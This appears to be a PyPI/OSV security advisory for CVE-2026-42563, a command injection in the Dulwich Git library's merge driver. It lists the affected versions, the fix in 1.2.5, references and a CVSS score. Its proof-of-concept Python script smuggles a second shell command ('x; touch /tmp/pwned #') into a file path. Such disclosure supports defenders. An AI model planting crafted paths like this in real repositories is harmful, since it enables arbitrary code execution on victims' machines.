id: PYSEC-2026-2464
published: "2026-07-13T15:19:13.633568Z"
modified: "2026-07-13T16:03:57.568480Z"
aliases:
- CVE-2026-42563
- GHSA-9277-mp7x-85jf
summary: Dulwich Vulnerable to Command Injection via Merge Driver Path
details: "## Summary\n\nDulwich's `ProcessMergeDriver` substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the `%P` placeholder and executes it with `subprocess.run(..., shell=True)`. An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.\n\n## Description\n\n- **Type:** Command Injection\n- **Source:** `merge.py` line 195 — path from merge tree (from repository content when merging untrusted branch)\n- **Sink:** `merge_drivers.py` lines 124–127 — `subprocess.run(cmd, shell=True)` where `cmd` includes path via `%P` placeholder\n- **Impact:** Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the `%P` placeholder.\n\n## Resources\n\n- Repository: https://github.com/dulwich/dulwich\n- Vulnerable file: `dulwich/merge_drivers.py` (lines 119–129)\n\n## Proof of Concept\n\n```python\nfrom dulwich.attrs import GitAttributes, Pattern\nfrom dulwich.config import ConfigDict\nfrom dulwich.merge import merge_blobs\nfrom dulwich.objects import Blob\n\n# Merge driver with %P (path) - typical for custom merge tools\nconfig = ConfigDict()\nconfig.set((b\"merge\", b\"injectable\"), b\"driver\", b\"echo %P > %A\")\n\npatterns = [(Pattern(b\"*\"), {b\"merge\": b\"injectable\"})]\ngitattributes = GitAttributes(patterns)\n\nbase = Blob.from_string(b\"base\")\nours = Blob.from_string(b\"ours\")\ntheirs = Blob.from_string(b\"theirs\")\n\n# Malicious path from attacker-controlled git tree: injects \"touch /tmp/pwned\"\nmalicious_path = b\"x; touch /tmp/pwned #\"\n\nmerge_blobs(base, ours, theirs, path=malicious_path,\n            gitattributes=gitattributes, config=config)\n# => Executes: echo x; touch /tmp/pwned #\n# => Shell runs: echo x, then touch /tmp/pwned\n```\n\n## Fix\n[merge_drivers_shell_escape.patch](https://github.com/user-attachments/files/27016503/merge_drivers_shell_escape.patch)"
affected:
- package:
    name: dulwich
    ecosystem: PyPI
    purl: pkg:pypi/dulwich
  ranges:
  - type: ECOSYSTEM
    events:
    - introduced: 0.24.0
    - fixed: 1.2.5
  versions:
  - 0.24.0
  - 0.24.1
  - 0.24.10
  - 0.24.2
  - 0.24.3
  - 0.24.4
  - 0.24.5
  - 0.24.6
  - 0.24.7
  - 0.24.8
  - 0.24.9
  - 0.25.0
  - 0.25.1
  - 0.25.2
  - 1.0.0
  - 1.1.0
  - 1.2.0
  - 1.2.1
  - 1.2.2
  - 1.2.3
  - 1.2.4
references:
- type: WEB
  url: https://github.com/jelmer/dulwich/security/advisories/GHSA-9277-mp7x-85jf
- type: ADVISORY
  url: https://nvd.nist.gov/vuln/detail/CVE-2026-42563
- type: WEB
  url: https://github.com/jelmer/dulwich/commit/e3331b3b3a122fc313460182f928f59723580b7b
- type: PACKAGE
  url: https://github.com/jelmer/dulwich
- type: WEB
  url: https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.5
- type: PACKAGE
  url: https://pypi.org/project/dulwich
- type: ADVISORY
  url: https://github.com/advisories/GHSA-9277-mp7x-85jf
severity:
- type: CVSS_V4
  score: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N